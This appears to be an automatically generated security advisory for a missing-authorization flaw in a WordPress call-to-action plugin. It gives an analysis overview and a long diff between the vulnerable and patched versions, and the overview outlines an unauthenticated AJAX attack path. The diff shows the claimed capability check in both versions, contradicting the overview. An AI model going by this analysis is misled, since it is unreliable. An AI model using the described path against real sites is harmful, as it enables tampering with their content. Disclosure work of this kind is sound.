Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22459: WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales <= 1.7.4 – Missing Authorization (easy-sticky-sidebar)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.7.4
Patched Version 2.0.0
Disclosed March 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22459:
The vulnerability exists in the WP CTA plugin’s AJAX handler function `processPages()` within the `ClassActions` class. The root cause is a missing capability check before performing administrative actions. In version 1.7.4, the `processPages()` function at line 122 in `ClassActions.php` only validates a nonce via `check_ajax_referer()` but lacks any user authentication or authorization verification. This allows unauthenticated attackers to send POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to `process_pages`. The function processes CTA updates including content modification through the `SSuprydp_content_option_text` parameter. The patch in version 2.0.0 adds a `current_user_can(‘manage_options’)` check at line 161, ensuring only administrators can execute this function. Atomic Edge research confirms this missing authorization check enables unauthorized CTA modification, potentially allowing attackers to inject malicious content into site CTAs. The vulnerability affects the plugin’s core content management functionality.

Differential between vulnerable and patched code

Code Diff
--- a/easy-sticky-sidebar/easy-sticky-sidebar.php
+++ b/easy-sticky-sidebar/easy-sticky-sidebar.php
@@ -1,13 +1,13 @@
 <?php

 /**
- * Plugin Name: WP CTA – Sticky CTA Builder, Generate Leads, Promote Sales
- * Description: WordPress Call To Action plugin to promote content, increase sales and leads. Easy to use and includes 3 professional, flexible templates.
- * Version: 1.7.4
+ * Plugin Name: WP CTA - sticky CTA builder, generate leads, promote sales
+ * Description: WordPress Call To Action plugin that helps promote content, increase sales and generate leads. It's easy to use and comes with 3 customizable templates.
+ * Version: 2.0.0
  * Author: WP CTA PRO
  * Text Domain: easy-sticky-sidebar
  * Author URI: https://wpctapro.com/
- * Requires at least: 4.0
+ * Requires at least: 5.0
  * Tested up to: 6.9
  * Requires PHP: 7.4
  * License: GPL v2 or later
@@ -20,7 +20,7 @@
 	exit; // Exit if accessed directly.
 }

-define('EASY_STICKY_SIDEBAR_VERSION', '1.7.4');
+define('EASY_STICKY_SIDEBAR_VERSION', '2.0.0');
 define('EASY_STICKY_SIDEBAR_PLUGIN_DIR', untrailingslashit(plugin_dir_path(__FILE__)));
 define('EASY_STICKY_SIDEBAR_PLUGIN_URL', untrailingslashit(plugin_dir_url(__FILE__)));
 define('EASY_STICKY_SIDEBAR_PLUGIN_FILE', __FILE__);
--- a/easy-sticky-sidebar/inc/ClassActions.php
+++ b/easy-sticky-sidebar/inc/ClassActions.php
@@ -96,13 +96,43 @@
      * @return Array
      */

-	private function AjaxActions() {
-		return [
-			['name' => 'process_pages', 'callback' => 'processPages'],
-			['name' => 'ajax_check', 'callback' => 'ajaxCheck'],
-			['name' => 'validate_data', 'callback' => 'validateData'],
-		];
-	}
+	private function AjaxActions() {
+		return [
+			['name' => 'process_pages', 'callback' => 'processPages'],
+			['name' => 'ajax_check', 'callback' => 'ajaxCheck'],
+			['name' => 'validate_data', 'callback' => 'validateData'],
+			['name' => 'easy_sticky_sidebar_get_click', 'callback' => 'easyStickySidebarGetClick'],
+		];
+	}
+
+	/**
+	 * Track CTA click on frontend.
+	 * Clicks/CTR are now available in free plugin stats.
+	 *
+	 * @return void
+	 */
+	public function easyStickySidebarGetClick() {
+		global $wpdb;
+
+		$sticky_id = isset($_POST['sticky_id']) ? absint($_POST['sticky_id']) : 0;
+		if ($sticky_id <= 0) {
+			wp_send_json_success();
+		}
+
+		$current_user = wp_get_current_user();
+		$has_admin_role = array_intersect(['administrator', 'editor'], (array) $current_user->roles);
+		if (!empty($has_admin_role)) {
+			wp_send_json_success();
+		}
+
+		$sticky = $wpdb->get_row($wpdb->prepare("SELECT id FROM $wpdb->sticky_cta WHERE id = %d", $sticky_id));
+		if (!$sticky) {
+			wp_send_json_success();
+		}
+
+		$wpdb->query($wpdb->prepare("UPDATE $wpdb->sticky_cta SET SSuprydp_clicks = SSuprydp_clicks + 1 WHERE id = %d", $sticky_id));
+		wp_send_json_success();
+	}

 	function content_filter($tags, $context) {
 		$tags['iframe'] = array(
@@ -122,24 +152,36 @@
 	 * @global type $wpdb
 	 * @return JSON
 	 */
-	public function processPages() {
-		if (!isset($_POST)) {
-			wp_send_json(['status' => 'failed', 'message' => 'Data missing']);
-		}
+	public function processPages() {
+		if (!isset($_POST)) {
+			wp_send_json(['status' => 'failed', 'message' => 'Data missing']);
+		}

 		$check_security = check_ajax_referer('_nonce_easy_sticky_sidebar', '_wpnonce', false);
 		if (false === $check_security) {
 			wp_send_json(['status' => 'failed', 'message' => 'Security failed']);
 		}

-		if (!current_user_can('manage_options')) {
-			wp_send_json(['status' => 'failed', 'message' => 'You are not able to update CTA.']);
-		}
-
-		$postdata = filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);
-
-		add_filter('wp_kses_allowed_html', [$this, 'content_filter'], 10, 2);
-		$postdata['SSuprydp_content_option_text'] = wp_kses_stripslashes(wp_kses_post($_POST['SSuprydp_content_option_text'], wp_kses_allowed_html()));
+		if (!current_user_can('manage_options')) {
+			wp_send_json(['status' => 'failed', 'message' => 'You are not able to update CTA.']);
+		}
+
+		$postdata = filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);
+		$sticky_id = isset($postdata['sticky_id']) ? absint($postdata['sticky_id']) : 0;
+
+		if (!has_wordpress_cta_pro() && $sticky_id === 0) {
+			global $wpdb;
+			$cta_count = (int) $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->prefix}sticky_cta");
+			if ($cta_count >= 3) {
+				wp_send_json([
+					'status' => 'failed',
+					'message' => __('Only 3 CTAs are allowed in free version. Please upgrade to Pro to build more CTAs.', 'easy-sticky-sidebar')
+				]);
+			}
+		}
+
+		add_filter('wp_kses_allowed_html', [$this, 'content_filter'], 10, 2);
+		$postdata['SSuprydp_content_option_text'] = wp_kses_stripslashes(wp_kses_post($_POST['SSuprydp_content_option_text'], wp_kses_allowed_html()));
 		remove_filter('wp_kses_allowed_html', [$this, 'content_filter'], 2);

 		$postdata['SSuprydp_content_option_text'] = apply_filters('wordpress_cta_free/cta_content', $postdata['SSuprydp_content_option_text'], $postdata);
--- a/easy-sticky-sidebar/inc/ClassStickySidebar.php
+++ b/easy-sticky-sidebar/inc/ClassStickySidebar.php
@@ -381,8 +381,11 @@
 			wp_enqueue_style('sticky-sidebar-generated', $upload_dir['baseurl'] . '/sticky-sidebar-generated.css', [], filemtime($generated_css));
 		}

-		wp_enqueue_script('SSuprydp_script', EASY_STICKY_SIDEBAR_PLUGIN_URL . "/assets/js/sticky-sidebar.js", array('jquery'), EASY_STICKY_SIDEBAR_VERSION);
-	}
+		wp_enqueue_script('SSuprydp_script', EASY_STICKY_SIDEBAR_PLUGIN_URL . "/assets/js/sticky-sidebar.js", array('jquery'), EASY_STICKY_SIDEBAR_VERSION);
+		wp_localize_script('SSuprydp_script', 'easy_sticky_sidebar_front', [
+			'ajax_url' => admin_url('admin-ajax.php'),
+		]);
+	}

 	public function SSuprydpAdminScripts()
 	{
@@ -422,7 +425,12 @@

 		wp_enqueue_style('fontselect-default', EASY_STICKY_SIDEBAR_PLUGIN_URL . '/assets/css/fontselect-default.css', [], EASY_STICKY_SIDEBAR_VERSION);

-		wp_enqueue_style('SSuprydp_admin_style', EASY_STICKY_SIDEBAR_PLUGIN_URL . '/assets/css/sticky-sidebar-admin.css', ['fontawesome'], EASY_STICKY_SIDEBAR_VERSION);
+		wp_enqueue_style('SSuprydp_admin_style', EASY_STICKY_SIDEBAR_PLUGIN_URL . '/assets/css/sticky-sidebar-admin-base.css', ['fontawesome'], EASY_STICKY_SIDEBAR_VERSION);
+
+		$current_page = isset($_GET['page']) ? sanitize_text_field(wp_unslash($_GET['page'])) : '';
+		if (in_array($current_page, ['add-easy-sticky-sidebar', 'edit-easy-sticky-sidebar'], true)) {
+			wp_enqueue_style('SSuprydp_admin_style_builder', EASY_STICKY_SIDEBAR_PLUGIN_URL . '/assets/css/sticky-sidebar-admin-builder.css', ['SSuprydp_admin_style'], EASY_STICKY_SIDEBAR_VERSION);
+		}

 		//wp_enqueue_style('SSuprydp_bootstrap', EASY_STICKY_SIDEBAR_PLUGIN_URL . '/assets/css/bootstrap.min.css', [], EASY_STICKY_SIDEBAR_VERSION);

@@ -431,9 +439,9 @@
 		}
 	}

-	public function stick_sidebar_content()
-	{
-		global $CTA_Query;
+	public function stick_sidebar_content()
+	{
+		global $CTA_Query;

 		$dataview = array();

@@ -488,11 +496,40 @@
 				$template = 'default';
 			}

-			if ($SSuprydp_development == 'live' || ($SSuprydp_development == 'development' && current_user_can('manage_options'))) {
-				print SSuprydpStickySidebar()->engine->getView($template, $dataview);
-			}
-		}
-	}
+			if ($SSuprydp_development == 'live' || ($SSuprydp_development == 'development' && current_user_can('manage_options'))) {
+				$this->track_impression($sticky_data);
+				print SSuprydpStickySidebar()->engine->getView($template, $dataview);
+			}
+		}
+	}
+
+	/**
+	 * Increment impressions when CTA is rendered on frontend.
+	 * Clicks/CTR remain unchanged (pro features).
+	 *
+	 * @param WP_Sticky_CTA_Data|object $sticky_data
+	 * @return void
+	 */
+	private function track_impression($sticky_data)
+	{
+		if (is_admin()) {
+			return;
+		}
+
+		$sticky_id = 0;
+		if (is_object($sticky_data) && method_exists($sticky_data, '__get')) {
+			$sticky_id = absint($sticky_data->__get('id'));
+		} elseif (is_object($sticky_data) && isset($sticky_data->id)) {
+			$sticky_id = absint($sticky_data->id);
+		}
+
+		if ($sticky_id <= 0) {
+			return;
+		}
+
+		global $wpdb;
+		$wpdb->query($wpdb->prepare("UPDATE $wpdb->sticky_cta SET SSuprydp_impressions = SSuprydp_impressions + 1 WHERE id = %d", $sticky_id));
+	}

 	public function SSuprydp_mediameta()
 	{
@@ -591,4 +628,4 @@
 			@copy($sourcepath1200, $destinationpath1200);
 		}
 	}
-}
 No newline at end of file
+}
--- a/easy-sticky-sidebar/inc/ProFields.php
+++ b/easy-sticky-sidebar/inc/ProFields.php
@@ -48,31 +48,25 @@
         <div class="wordpress-cta-pro-features">

             <ul class="wordpress-cta-pro-stats">
-                <li>
-                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Impressions are the number of times your CTA is displayed, no matter if it was clicked or not."></i>
-                    <h4 class="stats-label"><?php _e('Impressions', 'easy-sticky-sidebar') ?></h4>
-                    <span class="result id" id="cust-img" style="filter:blur(0px)">4544</span>
-                </li>
+                <li>
+                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Impressions are the number of times your CTA is displayed, no matter if it was clicked or not."></i>
+                    <h4 class="stats-label"><?php _e('Impressions', 'easy-sticky-sidebar') ?></h4>
+                    <span class="result id" id="cust-img" style="filter:blur(0px)"><?php echo esc_html(absint($stickycta->SSuprydp_impressions)); ?></span>
+                </li>

-                <li>
-					<div class="trp">
-				<?php Wordpress_CTA_Free_Utils::get_inline_lock() ?>
-				</div>
-                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Number of times your CTA was clicked."></i>
-                    <h4 class="stats-label"><?php _e('Clicks', 'easy-sticky-sidebar') ?></h4>
-                    <span class="result">654</span>
-                </li>
-
-                <li>
-				<div class="trp">
-				<?php Wordpress_CTA_Free_Utils::get_inline_lock() ?>
-				</div>
-                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Clickthrough rate (CTR) is the number of clicks that your CTA receives divided by the number of times your CTA is shown (impressions)."></i>
-                    <h4 class="stats-label"><?php _e('CTR', 'easy-sticky-sidebar') ?></h4>
-                    <span class="result">78%</span>
-                </li>
-            </ul>
-        </div>
+                <li>
+                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Number of times your CTA was clicked."></i>
+                    <h4 class="stats-label"><?php _e('Clicks', 'easy-sticky-sidebar') ?></h4>
+                    <span class="result"><?php echo esc_html(absint($stickycta->SSuprydp_clicks)); ?></span>
+                </li>
+
+                <li>
+                    <i class="dashicons dashicons-info" data-toggle="tooltip" title="Clickthrough rate (CTR) is the number of clicks that your CTA receives divided by the number of times your CTA is shown (impressions)."></i>
+                    <h4 class="stats-label"><?php _e('CTR', 'easy-sticky-sidebar') ?></h4>
+                    <span class="result"><?php echo esc_html($stickycta->get_ctr()); ?></span>
+                </li>
+            </ul>
+        </div>
 		<?php
     }

@@ -456,4 +450,4 @@
 		</div>
 		<?php
 	}
-}
 No newline at end of file
+}
--- a/easy-sticky-sidebar/inc/helpers.php
+++ b/easy-sticky-sidebar/inc/helpers.php
@@ -287,18 +287,12 @@
             'priority' => 6
         ],

-        'css' => [
-            'label' => __("CSS", 'easy-sticky-sidebar'),
-            'callback' => 'easy_sticky_sidebar_css_tab',
-            'priority' => 7
-        ],
-
-        'status' => [
-            'label' => __("Live Status", 'easy-sticky-sidebar'),
-            'callback' => 'easy_sticky_sidebar_status_tab',
-            'priority' => 8
-        ]
-    ));
+        'css' => [
+            'label' => __("CSS", 'easy-sticky-sidebar'),
+            'callback' => 'easy_sticky_sidebar_css_tab',
+            'priority' => 7
+        ]
+    ));

     if (!is_array($wordpress_cta_tabs) || empty($wordpress_cta_tabs)) {
         return [];
--- a/easy-sticky-sidebar/inc/import-export.php
+++ b/easy-sticky-sidebar/inc/import-export.php
@@ -50,8 +50,8 @@
 		exit;
 	}

-	public function import_sidebars() {
-		$post_data = filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);
+	public function import_sidebars() {
+		$post_data = filter_input_array(INPUT_POST, FILTER_SANITIZE_SPECIAL_CHARS);

 		// Only process import if the import form was submitted
 		if (!isset($post_data['action'])) {
@@ -74,11 +74,11 @@
 			return;
 		}

-		$sidebars = @file_get_contents($_FILES['cta-import']['tmp_name']);
-		$sidebars = json_decode($sidebars);
-		if (!$sidebars || !is_array($sidebars)) {
-			return;
-		}
+		$sidebars = @file_get_contents($_FILES['cta-import']['tmp_name']);
+		$sidebars = json_decode($sidebars);
+		if (!$sidebars || !is_array($sidebars)) {
+			return;
+		}

 		$medias = [];

@@ -86,18 +86,22 @@
 			next($sidebars);


-			if (!empty($sidebar->sticky_s_media) && !isset($medias[$sidebar->sticky_s_media])) {
-
-				// Additional validation to ensure the media URL is valid
-				$media_url = trim($sidebar->sticky_s_media);
-				if (empty($media_url) || !filter_var($media_url, FILTER_VALIDATE_URL)) {
-					continue; // Skip this item if media URL is invalid
-				}
-
-				$image_content = @file_get_contents($media_url);
-
-				if ($image_content) {
-					$filename = basename($sidebar->sticky_s_media);
+			if (!empty($sidebar->sticky_s_media) && !isset($medias[$sidebar->sticky_s_media])) {
+
+				// Additional validation to ensure the media URL is valid
+				$media_url = trim($sidebar->sticky_s_media);
+				if (empty($media_url) || !filter_var($media_url, FILTER_VALIDATE_URL)) {
+					continue; // Skip this item if media URL is invalid
+				}
+
+				if (!$this->is_safe_media_url($media_url)) {
+					continue;
+				}
+
+				$image_content = $this->fetch_remote_media($media_url);
+
+				if ($image_content) {
+					$filename = basename($sidebar->sticky_s_media);
 					$upload = wp_upload_bits($filename, null, $image_content);

 					if ($upload['error'] == false) {
@@ -129,9 +133,63 @@
 		$request_data = filter_var_array($_REQUEST, FILTER_SANITIZE_SPECIAL_CHARS);
 		$import_count = count($sidebars);

-		exit(wp_safe_redirect(add_query_arg(['settings-updated' => true, 'import-count' => $import_count], $request_data['_wp_http_referer'])));
-	}
-
+		exit(wp_safe_redirect(add_query_arg(['settings-updated' => true, 'import-count' => $import_count], $request_data['_wp_http_referer'])));
+	}
+
+	private function is_safe_media_url($media_url) {
+		$validated_url = wp_http_validate_url($media_url);
+		if (empty($validated_url)) {
+			return false;
+		}
+
+		$parsed = wp_parse_url($validated_url);
+		if (empty($parsed['host'])) {
+			return false;
+		}
+
+		$host = $parsed['host'];
+		$resolved = gethostbyname($host);
+		if ($resolved && $this->is_private_ip($resolved)) {
+			return false;
+		}
+
+		return true;
+	}
+
+	private function is_private_ip($ip) {
+		if (!filter_var($ip, FILTER_VALIDATE_IP)) {
+			return true;
+		}
+
+		if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
+			return !filter_var(
+				$ip,
+				FILTER_VALIDATE_IP,
+				FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+			);
+		}
+
+		return !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE);
+	}
+
+	private function fetch_remote_media($media_url) {
+		$response = wp_remote_get($media_url, [
+			'timeout' => 10,
+			'redirection' => 3,
+		]);
+
+		if (is_wp_error($response)) {
+			return false;
+		}
+
+		$code = wp_remote_retrieve_response_code($response);
+		if ($code < 200 || $code >= 300) {
+			return false;
+		}
+
+		return wp_remote_retrieve_body($response);
+	}
+
 	public function output() {
 		global $wpdb;

--- a/easy-sticky-sidebar/inc/sticky-form-fields.php
+++ b/easy-sticky-sidebar/inc/sticky-form-fields.php
@@ -11,24 +11,24 @@
 		'bottom' => __('Bottom', 'easy-sticky-sidebar'),
 	);

-	$h_positions = array(
-		'top' => __('Top', 'easy-sticky-sidebar'),
-		'center' => __('Center', 'easy-sticky-sidebar'),
-		'bottom' => __('Bottom', 'easy-sticky-sidebar'),
-	);
+	$h_positions = array(
+		'center' => __('Center', 'easy-sticky-sidebar'),
+		'top' => __('Top', 'easy-sticky-sidebar'),
+		'bottom' => __('Bottom', 'easy-sticky-sidebar'),
+	);

 	$pro_features = ['left', 'top', 'bottom'];
-	$pro_h_features = ['center', 'bottom'];
+	$pro_h_features = ['top', 'bottom'];

 	$cta_position = $stickycta->SSuprydp_cta_position;
 	if ($cta_position == '' || !has_wordpress_cta_pro()) {
 		$cta_position == 'right';
 	}

-	$cta_h_position = $stickycta->horizontal_vertical_position;
-	if ($cta_h_position == '' || !has_wordpress_cta_pro()) {
-		$cta_h_position == 'top';
-	}
+	$cta_h_position = $stickycta->horizontal_vertical_position;
+	if ($cta_h_position == '' || !has_wordpress_cta_pro()) {
+		$cta_h_position = 'center';
+	}

 	?>

--- a/easy-sticky-sidebar/inc/sticky-sidebar-list.php
+++ b/easy-sticky-sidebar/inc/sticky-sidebar-list.php
@@ -106,16 +106,9 @@
             case 'impressions':
                 return $sidebar->SSuprydp_impressions;
             case 'clicks':
-                return sprintf(
-                    '<div class="pro-feature-stat" title="%s"><span class="dashicons dashicons-lock"></span><span class="stat-value">654</span></div>',
-                    __( 'Upgrade to Pro to view statistics', 'easy-sticky-sidebar' )
-                );
+                return absint($sidebar->SSuprydp_clicks);
             case 'ctr':
-                return sprintf(
-                    '<div class="pro-feature-stat" title="%s"><span class="dashicons dashicons-lock"></span><span class="stat-value">%s</span></div>',
-                    esc_attr__( 'Upgrade to Pro to view statistics', 'easy-sticky-sidebar' ),
-                    esc_html( '78%' )
-                );
+                return esc_html($sidebar->get_ctr());
             default:
                 return print_r( $sidebar, true );
         }
@@ -352,8 +345,8 @@
                         src="<?php echo EASY_STICKY_SIDEBAR_PLUGIN_URL; ?>/assets/img/ads.jpeg" /></a>
             </span>
             <span class="div-two">
-                <a href="https://alphalinkseo.com/" target="_blank"><img
-                        src="<?php echo EASY_STICKY_SIDEBAR_PLUGIN_URL; ?>/assets/img/alphalinkseo.jpg" /></a>
+                <a href="https://wordpress.org/plugins/ez-countdown-timer//" target="_blank"><img
+                        src="<?php echo EASY_STICKY_SIDEBAR_PLUGIN_URL; ?>/assets/img/ezcountdowntimer.jpg" /></a>
             </span>
         </div>
         <?php endif; ?>
@@ -361,4 +354,4 @@
 </div>
 <?php
     }
-}
 No newline at end of file
+}
--- a/easy-sticky-sidebar/trunk/appsero/src/Client.php
+++ b/easy-sticky-sidebar/trunk/appsero/src/Client.php
@@ -1,233 +0,0 @@
-<?php
-namespace Appsero;
-
-/**
- * Appsero Client
- *
- * This class is necessary to set project data
- */
-class Client {
-
-    /**
-     * The client version
-     *
-     * @var string
-     */
-    public $version = '1.1.11';
-
-    /**
-     * Hash identifier of the plugin
-     *
-     * @var string
-     */
-    public $hash;
-
-    /**
-     * Name of the plugin
-     *
-     * @var string
-     */
-    public $name;
-
-    /**
-     * The plugin/theme file path
-     * @example .../wp-content/plugins/test-slug/test-slug.php
-     *
-     * @var string
-     */
-    public $file;
-
-    /**
-     * Main plugin file
-     * @example test-slug/test-slug.php
-     *
-     * @var string
-     */
-    public $basename;
-
-    /**
-     * Slug of the plugin
-     * @example test-slug
-     *
-     * @var string
-     */
-    public $slug;
-
-    /**
-     * The project version
-     *
-     * @var string
-     */
-    public $project_version;
-
-    /**
-     * The project type
-     *
-     * @var string
-     */
-    public $type;
-
-    /**
-     * textdomain
-     *
-     * @var string
-     */
-    public $textdomain;
-
-	/**
-     * Initialize the class
-     *
-     * @param string  $hash hash of the plugin
-     * @param string  $name readable name of the plugin
-     * @param string  $file main plugin file path
-     */
-    public function __construct( $hash, $name, $file ) {
-        $this->hash = $hash;
-        $this->name = $name;
-        $this->file = $file;
-
-        $this->set_basename_and_slug();
-    }
-
-    /**
-     * Initialize insights class
-     *
-     * @return AppseroInsights
-     */
-    public function insights() {
-
-        if ( ! class_exists( __NAMESPACE__ . 'Insights') ) {
-            require_once __DIR__ . '/Insights.php';
-        }
-
-        return new Insights( $this );
-    }
-
-    /**
-     * Initialize plugin/theme updater
-     *
-     * @return AppseroUpdater
-     */
-    public function updater() {
-
-        if ( ! class_exists( __NAMESPACE__ . 'Updater') ) {
-            require_once __DIR__ . '/Updater.php';
-        }
-
-        return new Updater( $this );
-    }
-
-    /**
-     * Initialize license checker
-     *
-     * @return AppseroLicense
-     */
-    public function license() {
-
-        if ( ! class_exists( __NAMESPACE__ . 'License') ) {
-            require_once __DIR__ . '/License.php';
-        }
-
-        return new License( $this );
-    }
-
-    /**
-     * API Endpoint
-     *
-     * @return string
-     */
-    public function endpoint() {
-        $endpoint = apply_filters( 'appsero_endpoint', 'https://api.appsero.com' );
-
-        return trailingslashit( $endpoint );
-    }
-
-    /**
-     * Set project basename, slug and version
-     *
-     * @return void
-     */
-    protected function set_basename_and_slug() {
-
-        if ( strpos( $this->file, WP_CONTENT_DIR . '/themes/' ) === false ) {
-
-            $this->basename = plugin_basename( $this->file );
-
-            list( $this->slug, $mainfile) = explode( '/', $this->basename );
-
-            require_once ABSPATH . 'wp-admin/includes/plugin.php';
-
-            $plugin_data = get_plugin_data( $this->file );
-
-            $this->project_version = $plugin_data['Version'];
-            $this->type = 'plugin';
-            $this->textdomain = $this->slug;
-
-        } else {
-
-            $this->basename = str_replace( WP_CONTENT_DIR . '/themes/', '', $this->file );
-
-            list( $this->slug, $mainfile) = explode( '/', $this->basename );
-
-            $theme = wp_get_theme( $this->slug );
-
-            $this->project_version = $theme->version;
-            $this->type = 'theme';
-
-        }
-    }
-
-    /**
-     * Send request to remote endpoint
-     *
-     * @param  array  $params
-     * @param  string $route
-     *
-     * @return array|WP_Error   Array of results including HTTP headers or WP_Error if the request failed.
-     */
-    public function send_request( $params, $route, $blocking = false ) {
-        $url = $this->endpoint() . $route;
-
-        $headers = array(
-            'user-agent' => 'Appsero/' . md5( esc_url( home_url() ) ) . ';',
-            'Accept'     => 'application/json',
-        );
-
-        $response = wp_remote_post( $url, array(
-            'method'      => 'POST',
-            'timeout'     => 30,
-            'redirection' => 5,
-            'httpversion' => '1.0',
-            'blocking'    => $blocking,
-            'headers'     => $headers,
-            'body'        => array_merge( $params, array( 'client' => $this->version ) ),
-            'cookies'     => array()
-        ) );
-
-        return $response;
-    }
-
-    /**
-     * Check if the current server is localhost
-     *
-     * @return boolean
-     */
-    public function is_local_server() {
-        return in_array( $_SERVER['REMOTE_ADDR'], array( '127.0.0.1', '::1' ) );
-    }
-
-    /**
-     * Translate function _e()
-     */
-    public function _etrans( $text ) {
-        call_user_func( '_e', $text, $this->textdomain );
-    }
-
-    /**
-     * Translate function __()
-     */
-    public function __trans( $text ) {
-        return call_user_func( '__', $text, $this->textdomain );
-    }
-
-}
 No newline at end of file
--- a/easy-sticky-sidebar/trunk/appsero/src/Insights.php
+++ b/easy-sticky-sidebar/trunk/appsero/src/Insights.php
@@ -1,1001 +0,0 @@
-<?php
-
-namespace Appsero;
-
-/**
- * Appsero Insights
- *
- * This is a tracker class to track plugin usage based on if the customer has opted in.
- * No personal information is being tracked by this class, only general settings, active plugins, environment details
- * and admin email.
- */
-class Insights {
-
-	/**
-	 * The notice text
-	 *
-	 * @var string
-	 */
-	public $notice;
-
-	/**
-	 * Wheather to the notice or not
-	 *
-	 * @var boolean
-	 */
-	protected $show_notice = true;
-
-	/**
-	 * If extra data needs to be sent
-	 *
-	 * @var array
-	 */
-	protected $extra_data = array();
-
-	/**
-	 * AppSeroClient
-	 *
-	 * @var object
-	 */
-	protected $client;
-
-	/**
-	 * Initialize the class
-	 *
-	 * @param AppSeroClient
-	 */
-	public function __construct($client, $name = null, $file = null) {
-
-		if (is_string($client) && !empty($name) && !empty($file)) {
-			$client = new Client($client, $name, $file);
-		}
-
-		if (is_object($client) && is_a($client, 'AppseroClient')) {
-			$this->client = $client;
-		}
-	}
-
-	/**
-	 * Don't show the notice
-	 *
-	 * @return self
-	 */
-	public function hide_notice() {
-		$this->show_notice = false;
-
-		return $this;
-	}
-
-	/**
-	 * Add extra data if needed
-	 *
-	 * @param array $data
-	 *
-	 * @return self
-	 */
-	public function add_extra($data = array()) {
-		$this->extra_data = $data;
-
-		return $this;
-	}
-
-	/**
-	 * Set custom notice text
-	 *
-	 * @param  string $text
-	 *
-	 * @return self
-	 */
-	public function notice($text) {
-		$this->notice = $text;
-
-		return $this;
-	}
-
-	/**
-	 * Initialize insights
-	 *
-	 * @return void
-	 */
-	public function init() {
-		if ($this->client->type == 'plugin') {
-			$this->init_plugin();
-		} else if ($this->client->type == 'theme') {
-			$this->init_theme();
-		}
-	}
-
-	/**
-	 * Initialize theme hooks
-	 *
-	 * @return void
-	 */
-	public function init_theme() {
-		$this->init_common();
-
-		add_action('switch_theme', array($this, 'deactivation_cleanup'));
-		add_action('switch_theme', array($this, 'theme_deactivated'), 12, 3);
-	}
-
-	/**
-	 * Initialize plugin hooks
-	 *
-	 * @return void
-	 */
-	public function init_plugin() {
-		// plugin deactivate popup
-		if (!$this->is_local_server()) {
-			add_filter('plugin_action_links_' . $this->client->basename, array($this, 'plugin_action_links'));
-			add_action('admin_footer', array($this, 'deactivate_scripts'));
-		}
-
-		$this->init_common();
-
-		register_activation_hook($this->client->file, array($this, 'activate_plugin'));
-		register_deactivation_hook($this->client->file, array($this, 'deactivation_cleanup'));
-	}
-
-	/**
-	 * Initialize common hooks
-	 *
-	 * @return void
-	 */
-	protected function init_common() {
-
-		if ($this->show_notice) {
-			// tracking notice
-			add_action('admin_notices', array($this, 'admin_notice'));
-		}
-
-		add_action('admin_init', array($this, 'handle_optin_optout'));
-
-		// uninstall reason
-		add_action('wp_ajax_' . $this->client->slug . '_submit-uninstall-reason', array($this, 'uninstall_reason_submission'));
-
-		// cron events
-		add_filter('cron_schedules', array($this, 'add_weekly_schedule'));
-		add_action($this->client->slug . '_tracker_send_event', array($this, 'send_tracking_data'));
-		// add_action( 'admin_init', array( $this, 'send_tracking_data' ) ); // test
-	}
-
-	/**
-	 * Send tracking data to AppSero server
-	 *
-	 * @param  boolean  $override
-	 *
-	 * @return void
-	 */
-	public function send_tracking_data($override = false) {
-		// skip on AJAX Requests
-		if (defined('DOING_AJAX') && DOING_AJAX) {
-			return;
-		}
-
-		if (!$this->tracking_allowed() && !$override) {
-			return;
-		}
-
-		// Send a maximum of once per week
-		$last_send = $this->get_last_send();
-
-		if ($last_send && $last_send > strtotime('-1 week')) {
-			return;
-		}
-
-		$response = $this->client->send_request($this->get_tracking_data(), 'track');
-
-		update_option($this->client->slug . '_tracking_last_send', time());
-	}
-
-	/**
-	 * Get the tracking data points
-	 *
-	 * @return array
-	 */
-	protected function get_tracking_data() {
-		$all_plugins = $this->get_all_plugins();
-
-		$users = get_users(array(
-			'role'    => 'administrator',
-			'orderby' => 'ID',
-			'order'   => 'ASC',
-			'number'  => 1,
-			'paged'   => 1,
-		));
-
-		$admin_user =  (is_array($users) && !empty($users)) ? $users[0] : false;
-		$first_name = $last_name = '';
-
-		if ($admin_user) {
-			$first_name = $admin_user->first_name ? $admin_user->first_name : $admin_user->display_name;
-			$last_name  = $admin_user->last_name;
-		}
-
-		$data = array(
-			'version'          => $this->client->project_version,
-			'url'              => esc_url(home_url()),
-			'site'             => $this->get_site_name(),
-			'admin_email'      => get_option('admin_email'),
-			'first_name'       => $first_name,
-			'last_name'        => $last_name,
-			'hash'             => $this->client->hash,
-			'server'           => $this->get_server_info(),
-			'wp'               => $this->get_wp_info(),
-			'users'            => $this->get_user_counts(),
-			'active_plugins'   => count($all_plugins['active_plugins']),
-			'inactive_plugins' => count($all_plugins['inactive_plugins']),
-			'ip_address'       => $this->get_user_ip_address(),
-			'theme'            => get_stylesheet(),
-			'version'          => $this->client->project_version,
-		);
-
-		// Add metadata
-		if ($extra = $this->get_extra_data()) {
-			$data['extra'] = $extra;
-		}
-
-		return apply_filters($this->client->slug . '_tracker_data', $data);
-	}
-
-	/**
-	 * If a child class wants to send extra data
-	 *
-	 * @return mixed
-	 */
-	protected function get_extra_data() {
-		if (is_callable($this->extra_data)) {
-			return call_user_func($this->extra_data);
-		}
-
-		if (is_array($this->extra_data)) {
-			return $this->extra_data;
-		}
-
-		return array();
-	}
-
-	/**
-	 * Explain the user which data we collect
-	 *
-	 * @return string
-	 */
-	protected function data_we_collect() {
-		$data = array(
-			'Server environment details (php, mysql, server, WordPress versions)',
-			'Number of users in your site',
-			'Site language',
-			'Number of active and inactive plugins',
-			'Site name and url',
-			'Your name and email address',
-		);
-
-		return $data;
-	}
-
-	/**
-	 * Check if the user has opted into tracking
-	 *
-	 * @return bool
